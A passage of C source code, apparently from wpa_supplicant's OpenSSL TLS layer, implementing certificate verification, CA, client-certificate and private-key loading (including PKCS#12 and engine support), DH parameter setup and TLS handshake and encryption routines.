wpa_printf(MSG_DEBUG, "OpenSSL: Could not fetch " "server certificate data"); preverify_ok = 0; } else { u8 hash[32]; const u8 *addr[1]; size_t len[1]; addr[0] = wpabuf_head(cert); len[0] = wpabuf_len(cert); if (sha256_vector(1, addr, len, hash) < 0 || os_memcmp(conn->srv_cert_hash, hash, 32) != 0) { err_str = "Server certificate mismatch"; err = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN; preverify_ok = 0; } wpabuf_free(cert); } } #endif /* CONFIG_SHA256 */ if (!preverify_ok) { wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," " error %d (%s) depth %d for '%s'", err, err_str, depth, buf); openssl_tls_fail_event(conn, err_cert, err, depth, buf, err_str, TLS_FAIL_UNSPECIFIED); return preverify_ok; } wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - preverify_ok=%d " "err=%d (%s) ca_cert_verify=%d depth=%d buf='%s'", preverify_ok, err, err_str, conn->ca_cert_verify, depth, buf); if (depth == 0 && match && os_strstr(buf, match) == NULL) { wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " "match with '%s'", buf, match); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "Subject mismatch", TLS_FAIL_SUBJECT_MISMATCH); } else if (depth == 0 && altmatch && !tls_match_altsubject(err_cert, altmatch)) { wpa_printf(MSG_WARNING, "TLS: altSubjectName match " "'%s' not found", altmatch); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "AltSubject mismatch", TLS_FAIL_ALTSUBJECT_MISMATCH); } else openssl_tls_cert_event(conn, err_cert, depth, buf); if (conn->cert_probe && preverify_ok && depth == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Reject server certificate " "on probe-only run"); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "Server certificate chain probe", TLS_FAIL_SERVER_CHAIN_PROBE); } return preverify_ok; } #ifndef OPENSSL_NO_STDIO static int tls_load_ca_der(void *_ssl_ctx, const char *ca_cert) { SSL_CTX *ssl_ctx = _ssl_ctx; X509_LOOKUP *lookup; int ret = 0; lookup = X509_STORE_add_lookup(ssl_ctx->cert_store, X509_LOOKUP_file()); if (lookup == NULL) { tls_show_errors(MSG_WARNING, __func__, "Failed add lookup for X509 store"); return -1; } if (!X509_LOOKUP_load_file(lookup, ca_cert, X509_FILETYPE_ASN1)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed load CA in DER format"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring " "cert already in hash table error", __func__); } else ret = -1; } return ret; } #endif /* OPENSSL_NO_STDIO */ static int tls_connection_ca_cert(void *_ssl_ctx, struct tls_connection *conn, const char *ca_cert, const u8 *ca_cert_blob, size_t ca_cert_blob_len, const char *ca_path) { SSL_CTX *ssl_ctx = _ssl_ctx; /* * Remove previously configured trusted CA certificates before adding * new ones. */ X509_STORE_free(ssl_ctx->cert_store); ssl_ctx->cert_store = X509_STORE_new(); if (ssl_ctx->cert_store == NULL) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " "certificate store", __func__); return -1; } SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); conn->ca_cert_verify = 1; if (ca_cert && os_strncmp(ca_cert, "probe://", 8) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Probe for server certificate " "chain"); conn->cert_probe = 1; conn->ca_cert_verify = 0; return 0; } if (ca_cert && os_strncmp(ca_cert, "hash://", 7) == 0) { #ifdef CONFIG_SHA256 const char *pos = ca_cert + 7; if (os_strncmp(pos, "server/sha256/", 14) != 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Unsupported ca_cert " "hash value '%s'", ca_cert); return -1; } pos += 14; if (os_strlen(pos) != 32 * 2) { wpa_printf(MSG_DEBUG, "OpenSSL: Unexpected SHA256 " "hash length in ca_cert '%s'", ca_cert); return -1; } if (hexstr2bin(pos, conn->srv_cert_hash, 32) < 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Invalid SHA256 hash " "value in ca_cert '%s'", ca_cert); return -1; } conn->server_cert_only = 1; wpa_printf(MSG_DEBUG, "OpenSSL: Checking only server " "certificate match"); return 0; #else /* CONFIG_SHA256 */ wpa_printf(MSG_INFO, "No SHA256 included in the build - " "cannot validate server certificate hash"); return -1; #endif /* CONFIG_SHA256 */ } if (ca_cert_blob) { X509 *cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ca_cert_blob, ca_cert_blob_len); if (cert == NULL) { tls_show_errors(MSG_WARNING, __func__, "Failed to parse ca_cert_blob"); return -1; } if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed to add ca_cert_blob to " "certificate store"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring " "cert already in hash table error", __func__); } else { X509_free(cert); return -1; } } X509_free(cert); wpa_printf(MSG_DEBUG, "OpenSSL: %s - added ca_cert_blob " "to certificate store", __func__); return 0; } #ifdef CONFIG_NATIVE_WINDOWS if (ca_cert && tls_cryptoapi_ca_cert(ssl_ctx, conn->ssl, ca_cert) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Added CA certificates from " "system certificate store"); return 0; } #endif /* CONFIG_NATIVE_WINDOWS */ if (ca_cert || ca_path) { #ifndef OPENSSL_NO_STDIO if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, ca_path) != 1) { tls_show_errors(MSG_WARNING, __func__, "Failed to load root certificates"); if (ca_cert && tls_load_ca_der(ssl_ctx, ca_cert) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - loaded " "DER format CA certificate", __func__); } else return -1; } else { wpa_printf(MSG_DEBUG, "TLS: Trusted root " "certificate(s) loaded"); tls_get_errors(ssl_ctx); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); return -1; #endif /* OPENSSL_NO_STDIO */ } else { /* No ca_cert configured - do not try to verify server * certificate */ conn->ca_cert_verify = 0; } return 0; } static int tls_global_ca_cert(SSL_CTX *ssl_ctx, const char *ca_cert) { if (ca_cert) { if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, NULL) != 1) { tls_show_errors(MSG_WARNING, __func__, "Failed to load root certificates"); return -1; } wpa_printf(MSG_DEBUG, "TLS: Trusted root " "certificate(s) loaded"); #ifndef OPENSSL_NO_STDIO /* Add the same CAs to the client certificate requests */ SSL_CTX_set_client_CA_list(ssl_ctx, SSL_load_client_CA_file(ca_cert)); #endif /* OPENSSL_NO_STDIO */ } return 0; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { int flags; if (check_crl) { X509_STORE *cs = SSL_CTX_get_cert_store(ssl_ctx); if (cs == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to get " "certificate store when enabling " "check_crl"); return -1; } flags = X509_V_FLAG_CRL_CHECK; if (check_crl == 2) flags |= X509_V_FLAG_CRL_CHECK_ALL; X509_STORE_set_flags(cs, flags); } return 0; } static int tls_connection_set_subject_match(struct tls_connection *conn, const char *subject_match, const char *altsubject_match) { os_free(conn->subject_match); conn->subject_match = NULL; if (subject_match) { conn->subject_match = os_strdup(subject_match); if (conn->subject_match == NULL) return -1; } os_free(conn->altsubject_match); conn->altsubject_match = NULL; if (altsubject_match) { conn->altsubject_match = os_strdup(altsubject_match); if (conn->altsubject_match == NULL) return -1; } return 0; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { static int counter = 0; if (conn == NULL) return -1; if (verify_peer) { conn->ca_cert_verify = 1; SSL_set_verify(conn->ssl, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT | SSL_VERIFY_CLIENT_ONCE, tls_verify_cb); } else { conn->ca_cert_verify = 0; SSL_set_verify(conn->ssl, SSL_VERIFY_NONE, NULL); } SSL_set_accept_state(conn->ssl); /* * Set session id context in order to avoid fatal errors when client * tries to resume a session. However, set the context to a unique * value in order to effectively disable session resumption for now * since not all areas of the server code are ready for it (e.g., * EAP-TTLS needs special handling for Phase 2 after abbreviated TLS * handshake). */ counter++; SSL_set_session_id_context(conn->ssl, (const unsigned char *) &counter, sizeof(counter)); return 0; } static int tls_connection_client_cert(struct tls_connection *conn, const char *client_cert, const u8 *client_cert_blob, size_t client_cert_blob_len) { if (client_cert == NULL && client_cert_blob == NULL) return 0; if (client_cert_blob && SSL_use_certificate_ASN1(conn->ssl, (u8 *) client_cert_blob, client_cert_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_ASN1 --> " "OK"); return 0; } else if (client_cert_blob) { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_ASN1 failed"); } if (client_cert == NULL) return -1; #ifndef OPENSSL_NO_STDIO if (SSL_use_certificate_file(conn->ssl, client_cert, SSL_FILETYPE_ASN1) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (DER)" " --> OK"); return 0; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_file (DER) failed"); } if (SSL_use_certificate_file(conn->ssl, client_cert, SSL_FILETYPE_PEM) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (PEM)" " --> OK"); return 0; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_file (PEM) failed"); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); #endif /* OPENSSL_NO_STDIO */ return -1; } static int tls_global_client_cert(SSL_CTX *ssl_ctx, const char *client_cert) { #ifndef OPENSSL_NO_STDIO if (client_cert == NULL) return 0; if (SSL_CTX_use_certificate_file(ssl_ctx, client_cert, SSL_FILETYPE_ASN1) != 1 && SSL_CTX_use_certificate_file(ssl_ctx, client_cert, SSL_FILETYPE_PEM) != 1) { tls_show_errors(MSG_INFO, __func__, "Failed to load client certificate"); return -1; } return 0; #else /* OPENSSL_NO_STDIO */ if (client_cert == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); return -1; #endif /* OPENSSL_NO_STDIO */ } static int tls_passwd_cb(char *buf, int size, int rwflag, void *password) { if (password == NULL) { return 0; } os_strlcpy(buf, (char *) password, size); return os_strlen(buf); } #ifdef PKCS12_FUNCS static int tls_parse_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, PKCS12 *p12, const char *passwd) { EVP_PKEY *pkey; X509 *cert; STACK_OF(X509) *certs; int res = 0; char buf[256]; pkey = NULL; cert = NULL; certs = NULL; if (!PKCS12_parse(p12, passwd, &pkey, &cert, &certs)) { tls_show_errors(MSG_DEBUG, __func__, "Failed to parse PKCS12 file"); PKCS12_free(p12); return -1; } wpa_printf(MSG_DEBUG, "TLS: Successfully parsed PKCS12 data"); if (cert) { X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "TLS: Got certificate from PKCS12: " "subject='%s'", buf); if (ssl) { if (SSL_use_certificate(ssl, cert) != 1) res = -1; } else { if (SSL_CTX_use_certificate(ssl_ctx, cert) != 1) res = -1; } X509_free(cert); } if (pkey) { wpa_printf(MSG_DEBUG, "TLS: Got private key from PKCS12"); if (ssl) { if (SSL_use_PrivateKey(ssl, pkey) != 1) res = -1; } else { if (SSL_CTX_use_PrivateKey(ssl_ctx, pkey) != 1) res = -1; } EVP_PKEY_free(pkey); } if (certs) { while ((cert = sk_X509_pop(certs)) != NULL) { X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "TLS: additional certificate" " from PKCS12: subject='%s'", buf); /* * There is no SSL equivalent for the chain cert - so * always add it to the context... */ if (SSL_CTX_add_extra_chain_cert(ssl_ctx, cert) != 1) { res = -1; break; } } sk_X509_free(certs); } PKCS12_free(p12); if (res < 0) tls_get_errors(ssl_ctx); return res; } #endif /* PKCS12_FUNCS */ static int tls_read_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, const char *private_key, const char *passwd) { #ifdef PKCS12_FUNCS FILE *f; PKCS12 *p12; f = fopen(private_key, "rb"); if (f == NULL) return -1; p12 = d2i_PKCS12_fp(f, NULL); fclose(f); if (p12 == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to use PKCS#12 file"); return -1; } return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); #else /* PKCS12_FUNCS */ wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot read " "p12/pfx files"); return -1; #endif /* PKCS12_FUNCS */ } static int tls_read_pkcs12_blob(SSL_CTX *ssl_ctx, SSL *ssl, const u8 *blob, size_t len, const char *passwd) { #ifdef PKCS12_FUNCS PKCS12 *p12; p12 = d2i_PKCS12(NULL, (OPENSSL_d2i_TYPE) &blob, len); if (p12 == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to use PKCS#12 blob"); return -1; } return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); #else /* PKCS12_FUNCS */ wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot parse " "p12/pfx blobs"); return -1; #endif /* PKCS12_FUNCS */ } #ifndef OPENSSL_NO_ENGINE static int tls_engine_get_cert(struct tls_connection *conn, const char *cert_id, X509 **cert) { /* this runs after the private key is loaded so no PIN is required */ struct { const char *cert_id; X509 *cert; } params; params.cert_id = cert_id; params.cert = NULL; if (!ENGINE_ctrl_cmd(conn->engine, "LOAD_CERT_CTRL", 0, ¶ms, NULL, 1)) { wpa_printf(MSG_ERROR, "ENGINE: cannot load client cert with id" " '%s' [%s]", cert_id, ERR_error_string(ERR_get_error(), NULL)); return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; } if (!params.cert) { wpa_printf(MSG_ERROR, "ENGINE: did not properly cert with id" " '%s'", cert_id); return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; } *cert = params.cert; return 0; } #endif /* OPENSSL_NO_ENGINE */ static int tls_connection_engine_client_cert(struct tls_connection *conn, const char *cert_id) { #ifndef OPENSSL_NO_ENGINE X509 *cert; if (tls_engine_get_cert(conn, cert_id, &cert)) return -1; if (!SSL_use_certificate(conn->ssl, cert)) { tls_show_errors(MSG_ERROR, __func__, "SSL_use_certificate failed"); X509_free(cert); return -1; } X509_free(cert); wpa_printf(MSG_DEBUG, "ENGINE: SSL_use_certificate --> " "OK"); return 0; #else /* OPENSSL_NO_ENGINE */ return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_engine_ca_cert(void *_ssl_ctx, struct tls_connection *conn, const char *ca_cert_id) { #ifndef OPENSSL_NO_ENGINE X509 *cert; SSL_CTX *ssl_ctx = _ssl_ctx; if (tls_engine_get_cert(conn, ca_cert_id, &cert)) return -1; /* start off the same as tls_connection_ca_cert */ X509_STORE_free(ssl_ctx->cert_store); ssl_ctx->cert_store = X509_STORE_new(); if (ssl_ctx->cert_store == NULL) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " "certificate store", __func__); X509_free(cert); return -1; } if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed to add CA certificate from engine " "to certificate store"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring cert" " already in hash table error", __func__); } else { X509_free(cert); return -1; } } X509_free(cert); wpa_printf(MSG_DEBUG, "OpenSSL: %s - added CA certificate from engine " "to certificate store", __func__); SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); return 0; #else /* OPENSSL_NO_ENGINE */ return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_engine_private_key(struct tls_connection *conn) { #ifndef OPENSSL_NO_ENGINE if (SSL_use_PrivateKey(conn->ssl, conn->private_key) != 1) { tls_show_errors(MSG_ERROR, __func__, "ENGINE: cannot use private key for TLS"); return -1; } if (!SSL_check_private_key(conn->ssl)) { tls_show_errors(MSG_INFO, __func__, "Private key failed verification"); return -1; } return 0; #else /* OPENSSL_NO_ENGINE */ wpa_printf(MSG_ERROR, "SSL: Configuration uses engine, but " "engine support was not compiled in"); return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_private_key(void *_ssl_ctx, struct tls_connection *conn, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len) { SSL_CTX *ssl_ctx = _ssl_ctx; char *passwd; int ok; if (private_key == NULL && private_key_blob == NULL) return 0; if (private_key_passwd) { passwd = os_strdup(private_key_passwd); if (passwd == NULL) return -1; } else passwd = NULL; SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); ok = 0; while (private_key_blob) { if (SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA, conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" "ASN1(EVP_PKEY_RSA) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA)" " failed"); } if (SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA, conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" "ASN1(EVP_PKEY_DSA) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA)" " failed"); } if (SSL_use_RSAPrivateKey_ASN1(conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_RSAPrivateKey_ASN1 --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_RSAPrivateKey_ASN1 failed"); } if (tls_read_pkcs12_blob(ssl_ctx, conn->ssl, private_key_blob, private_key_blob_len, passwd) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: PKCS#12 as blob --> " "OK"); ok = 1; break; } break; } while (!ok && private_key) { #ifndef OPENSSL_NO_STDIO if (SSL_use_PrivateKey_file(conn->ssl, private_key, SSL_FILETYPE_ASN1) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_PrivateKey_File (DER) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_File (DER) " "failed"); } if (SSL_use_PrivateKey_file(conn->ssl, private_key, SSL_FILETYPE_PEM) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_PrivateKey_File (PEM) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_File (PEM) " "failed"); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); #endif /* OPENSSL_NO_STDIO */ if (tls_read_pkcs12(ssl_ctx, conn->ssl, private_key, passwd) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Reading PKCS#12 file " "--> OK"); ok = 1; break; } if (tls_cryptoapi_cert(conn->ssl, private_key) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Using CryptoAPI to " "access certificate store --> OK"); ok = 1; break; } break; } if (!ok) { wpa_printf(MSG_INFO, "OpenSSL: Failed to load private key"); os_free(passwd); ERR_clear_error(); return -1; } ERR_clear_error(); SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); os_free(passwd); if (!SSL_check_private_key(conn->ssl)) { tls_show_errors(MSG_INFO, __func__, "Private key failed " "verification"); return -1; } wpa_printf(MSG_DEBUG, "SSL: Private key loaded successfully"); return 0; } static int tls_global_private_key(SSL_CTX *ssl_ctx, const char *private_key, const char *private_key_passwd) { char *passwd; if (private_key == NULL) return 0; if (private_key_passwd) { passwd = os_strdup(private_key_passwd); if (passwd == NULL) return -1; } else passwd = NULL; SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); if ( #ifndef OPENSSL_NO_STDIO SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, SSL_FILETYPE_ASN1) != 1 && SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, SSL_FILETYPE_PEM) != 1 && #endif /* OPENSSL_NO_STDIO */ tls_read_pkcs12(ssl_ctx, NULL, private_key, passwd)) { tls_show_errors(MSG_INFO, __func__, "Failed to load private key"); os_free(passwd); ERR_clear_error(); return -1; } os_free(passwd); ERR_clear_error(); SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); if (!SSL_CTX_check_private_key(ssl_ctx)) { tls_show_errors(MSG_INFO, __func__, "Private key failed verification"); return -1; } return 0; } static int tls_connection_dh(struct tls_connection *conn, const char *dh_file) { #ifdef OPENSSL_NO_DH if (dh_file == NULL) return 0; wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " "dh_file specified"); return -1; #else /* OPENSSL_NO_DH */ DH *dh; BIO *bio; /* TODO: add support for dh_blob */ if (dh_file == NULL) return 0; if (conn == NULL) return -1; bio = BIO_new_file(dh_file, "r"); if (bio == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); return -1; } dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); BIO_free(bio); #ifndef OPENSSL_NO_DSA while (dh == NULL) { DSA *dsa; wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" " trying to parse as DSA params", dh_file, ERR_error_string(ERR_get_error(), NULL)); bio = BIO_new_file(dh_file, "r"); if (bio == NULL) break; dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); BIO_free(bio); if (!dsa) { wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " "'%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); break; } wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); dh = DSA_dup_DH(dsa); DSA_free(dsa); if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " "params into DH params"); break; } break; } #endif /* !OPENSSL_NO_DSA */ if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " "'%s'", dh_file); return -1; } if (SSL_set_tmp_dh(conn->ssl, dh) != 1) { wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " "%s", dh_file, ERR_error_string(ERR_get_error(), NULL)); DH_free(dh); return -1; } DH_free(dh); return 0; #endif /* OPENSSL_NO_DH */ } static int tls_global_dh(SSL_CTX *ssl_ctx, const char *dh_file) { #ifdef OPENSSL_NO_DH if (dh_file == NULL) return 0; wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " "dh_file specified"); return -1; #else /* OPENSSL_NO_DH */ DH *dh; BIO *bio; /* TODO: add support for dh_blob */ if (dh_file == NULL) return 0; if (ssl_ctx == NULL) return -1; bio = BIO_new_file(dh_file, "r"); if (bio == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); return -1; } dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); BIO_free(bio); #ifndef OPENSSL_NO_DSA while (dh == NULL) { DSA *dsa; wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" " trying to parse as DSA params", dh_file, ERR_error_string(ERR_get_error(), NULL)); bio = BIO_new_file(dh_file, "r"); if (bio == NULL) break; dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); BIO_free(bio); if (!dsa) { wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " "'%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); break; } wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); dh = DSA_dup_DH(dsa); DSA_free(dsa); if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " "params into DH params"); break; } break; } #endif /* !OPENSSL_NO_DSA */ if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " "'%s'", dh_file); return -1; } if (SSL_CTX_set_tmp_dh(ssl_ctx, dh) != 1) { wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " "%s", dh_file, ERR_error_string(ERR_get_error(), NULL)); DH_free(dh); return -1; } DH_free(dh); return 0; #endif /* OPENSSL_NO_DH */ } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { SSL *ssl; if (conn == NULL || keys == NULL) return -1; ssl = conn->ssl; if (ssl == NULL || ssl->s3 == NULL || ssl->session == NULL) return -1; os_memset(keys, 0, sizeof(*keys)); keys->master_key = ssl->session->master_key; keys->master_key_len = ssl->session->master_key_length; keys->client_random = ssl->s3->client_random; keys->client_random_len = SSL3_RANDOM_SIZE; keys->server_random = ssl->s3->server_random; keys->server_random_len = SSL3_RANDOM_SIZE; return 0; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { return -1; } static struct wpabuf * openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data, int server) { int res; struct wpabuf *out_data; /* * Give TLS handshake data from the server (if available) to OpenSSL * for processing. */ if (in_data && BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data)) < 0) { tls_show_errors(MSG_INFO, __func__, "Handshake failed - BIO_write"); return NULL; } /* Initiate TLS handshake or continue the existing handshake */ if (server) res = SSL_accept(conn->ssl); else res = SSL_connect(conn->ssl); if (res != 1) { int err = SSL_get_error(conn->ssl, res); if (err == SSL_ERROR_WANT_READ) wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want " "more data"); else if (err == SSL_ERROR_WANT_WRITE) wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want to " "write"); else { tls_show_errors(MSG_INFO, __func__, "SSL_connect"); conn->failed++; } } /* Get the TLS handshake data to be sent to the server */ res = BIO_ctrl_pending(conn->ssl_out); wpa_printf(MSG_DEBUG, "SSL: %d bytes pending from ssl_out", res); out_data = wpabuf_alloc(res); if (out_data == NULL) { wpa_printf(MSG_DEBUG, "SSL: Failed to allocate memory for " "handshake output (%d bytes)", res); if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); } return NULL; } res = res == 0 ? 0 : BIO_read(conn->ssl_out, wpabuf_mhead(out_data), res); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Handshake failed - BIO_read"); if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); } wpabuf_free(out_data); return NULL; } wpabuf_put(out_data, res); return out_data; } static struct wpabuf * openssl_get_appl_data(struct tls_connection *conn, size_t max_len) { struct wpabuf *appl_data; int res; appl_data = wpabuf_alloc(max_len + 100); if (appl_data == NULL) return NULL; res = SSL_read(conn->ssl, wpabuf_mhead(appl_data), wpabuf_size(appl_data)); if (res < 0) { int err = SSL_get_error(conn->ssl, res); if (err == SSL_ERROR_WANT_READ || err == SSL_ERROR_WANT_WRITE) { wpa_printf(MSG_DEBUG, "SSL: No Application Data " "included"); } else { tls_show_errors(MSG_INFO, __func__, "Failed to read possible " "Application Data"); } wpabuf_free(appl_data); return NULL; } wpabuf_put(appl_data, res); wpa_hexdump_buf_key(MSG_MSGDUMP, "SSL: Application Data in Finished " "message", appl_data); return appl_data; } static struct wpabuf * openssl_connection_handshake(struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data, int server) { struct wpabuf *out_data; if (appl_data) *appl_data = NULL; out_data = openssl_handshake(conn, in_data, server); if (out_data == NULL) return NULL; if (SSL_is_init_finished(conn->ssl) && appl_data && in_data) *appl_data = openssl_get_appl_data(conn, wpabuf_len(in_data)); return out_data; } struct wpabuf * tls_connection_handshake(void *ssl_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return openssl_connection_handshake(conn, in_data, appl_data, 0); } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return openssl_connection_handshake(conn, in_data, appl_data, 1); } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { int res; struct wpabuf *buf; if (conn == NULL) return NULL; /* Give plaintext data for OpenSSL to encrypt into the TLS tunnel. */ if ((res = BIO_reset(conn->ssl_in)) < 0 || (res = BIO_reset(conn->ssl_out)) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Encryption failed - SSL_write"); return NULL; } /* Read encrypted data to be sent to the server */ buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = BIO_read(conn->ssl_out, wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { 